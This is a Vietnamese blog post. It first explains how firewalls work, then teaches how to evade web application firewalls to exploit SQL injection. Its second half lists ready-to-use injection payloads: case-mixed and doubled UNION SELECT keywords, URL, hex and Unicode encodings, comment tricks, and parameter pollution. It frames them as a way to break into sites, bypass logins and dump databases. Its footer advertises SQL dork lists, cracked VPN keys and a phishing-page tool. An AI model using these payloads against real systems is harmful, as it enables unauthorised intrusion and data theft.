Cách vượt qua tường lửa ứng dụng web (WAF) tìm lỗ hổng SQL Injection

3sthuthuat – Cách vượt qua tường lửa ứng dụng web (WAF) tìm lỗ hổng SQL Injection. Firewall cơ bản là tấm lá chắn giữa máy tính của bạn (hoặc một mạng) và Internet. Firewall có thể được so sánh như một nhân viên bảo vệ của một tòa nhà nào đó. Và nhân viên này có thể cho phép hoặc từ chối bất kỳ ai đi vào tòa nhà này. Tương tự, Firewall có thể là chương trình phần mềm, hoặc thiết bị phần cứng. Nó lọc gói tin đi từ Internet tới máy tính của bạn hoặc mạng máy tính.

Firewall có tác dụng gì?

Firewall có thể từ chối hoặc cho phép lưu lượng mạng giữa các thiết bị. Dựa trên các nguyên tắc mà nó đã được cấu hình. Hoặc cài đặt bởi một người quản trị tường lửa. Rất nhiều firewall cá nhân hoạt động trên một tập hợp các thiết lập đã được cài đặt sẵn. Personal firewall rất dễ dàng để cài đặt và sử dụng. Cấu hình firewall là cực kỳ quan trọng để tránh khỏi các hiểm họa xảy ra trên mạng.

Firewall kiểm soát lưu lượng mạng đến và đi trong một mạng

  • Packet Filtering: Trong phương pháp này, gói tin sẽ được phân tích. So sánh với bộ lọc đã được cấu hình trước đó. Lọc gói tin sẽ có rất nhiều nguyên tắc khác nhau tùy thuộc vào chính sách của công ty. Mỗi khi một lưu lượng mạng đến và đi, gói tin này sẽ được so sánh với cấu hình sẵn có ở trong firewall, nếu nó được cho phép thì gói tin sẽ được chấp nhận, còn nếu không được cho phép trong cấu hình của firewall, gói tin sẽ bị từ chối đi qua mạng.
  • Stateful Inspection: Đây là phương pháp mới hơn, nó không phân tích nội dung của gói tin, thay vào đó, nó so sánh dạng, mẫu của gói tin tới cơ cở dữ liệu được tin tưởng của nó. Cả lưu lượng mạng đến và đi sẽ được đối chiếu tới cơ sở dữ liệu.

Phần mềm Firewall và Phần cứng Firewall

Phần cứng firewall cung cấp cấp độ bảo mật ở mức độ cao. Phù hợp cho server yêu cầu mức độ bảo mật ở mức cao nhất. Phần mềm firewall thì rẻ hơn và phù hợp với người dùng cá nhân hơn. Phần cứng firewall thường được xây dựng sẵn trong router. Nó sẽ lọc mỗi gói tin đến và đi trước khi nó tới máy tính cá nhân. Ví dụ: Linksys Cable/DSL router.

Cách vượt qua tường lửa ứng dụng web (WAF) để tìm lỗ hổng SQL Injection

Lỗ hổng SQL Injection là một trong những kiểu hack web. Bằng cách inject các mã SQLquery/command vào input trước khi chuyển cho ứng dụng web xử lí. Bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

  • Thay đổi ký tự tấn công hỗn hợp (Mixed Case Change): Thông thường, với một firewall áp dụng cơ chế blacklist, nó sẽ lọc theo các từ khóa tấn công như union, select… Với một bộ lọc yếu, bạn có thể thay đổi union thành Union hoặc UniOn… Ví dụ: http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
  • Thay thế từ khóa (Chèn các ký tự đặc biệt sẽ bị xóa bởi WAF) – SELECT có thể trở thành SEL<ECT sẽ được chuyển thành SELECT khi ký tự vi phạm bị xóa. Ví dụ: http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
  • Sử dụng mã hóa:
    URL encode: page.php?id=1%252f%252a/UNION%252f%252a /SELECT Hex encode: target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect*/ 1,2,3,4 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    Unicode encode: ?id=10%D6‘%20AND%201=2%23
  • Sử dụng comment
    Chèn cú pháp comment vào giữa các chuỗi tấn công. Chẳng hạn, / *! SELECT * / có thể bị WAF bỏ qua nhưng được chuyển đến ứng dụng đích và được xử lý bởi cơ sở dữ liệu mysql. Ví dụ: index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 ‘union%a0select pass from users#
  • Sử dụng các ký tự đặc biệt
  • symbol: selectversion()`;
  • +- :select+id-1+1.from users;
  • @:select@^1.from users;
    +Mysql function() as xxx
    +`、~、!、@、%、()、[]、.、-、+ 、|、%00
  • Kiểm soát tham số HTTP (HTTP_Parameter_Pollution):
    Cung cấp nhiều bộ tham số = giá trị cùng tên để gây nhầm lẫn cho WAF. Lấy ví dụ http://example.com?id=1&?id=’ or ‘1’=’1′ -‘ trong một số trường hợp như với Apache/PHP, ứng dụng sẽ chỉ phân tích “id =” trong khi WAF chỉ phân tích cú pháp đầu tiên. Nó dường như là một yêu cầu hợp pháp nhưng ứng dụng vẫn nhận và xử lý đầu vào độc hại. Hầu hết WAF ngày nay không dễ bị vượt qua bởi HTTP_Parameter_Pollution nhưng vẫn đáng để thử khi tìm cách vượt qua tường lửa.
  • Tràn bộ nhớ (Buffer overflow)
    Các ứng dụng, kể cả firewall dễ bị lỗi phần mềm giống như bất kỳ ứng dụng nào khác. Nếu một điều kiện tràn bộ đệm có thể tạo ra sự cố, ngay cả khi nó không dẫn đến thực thi mã, điều này có thể dẫn đến WAF không mở được. Lúc này chúng ta có thể vượt qua tường lửa.


Nhận xét

Bài đăng phổ biến từ blog này

Google Dorks SQL Injection List - SQL Dorks 2017, 2018, 2019, 2020

Key phần mềm ExpressVPN 2020 – cập nhật liên tục

Tạo trang Web Phishing tự động bằng Zphisher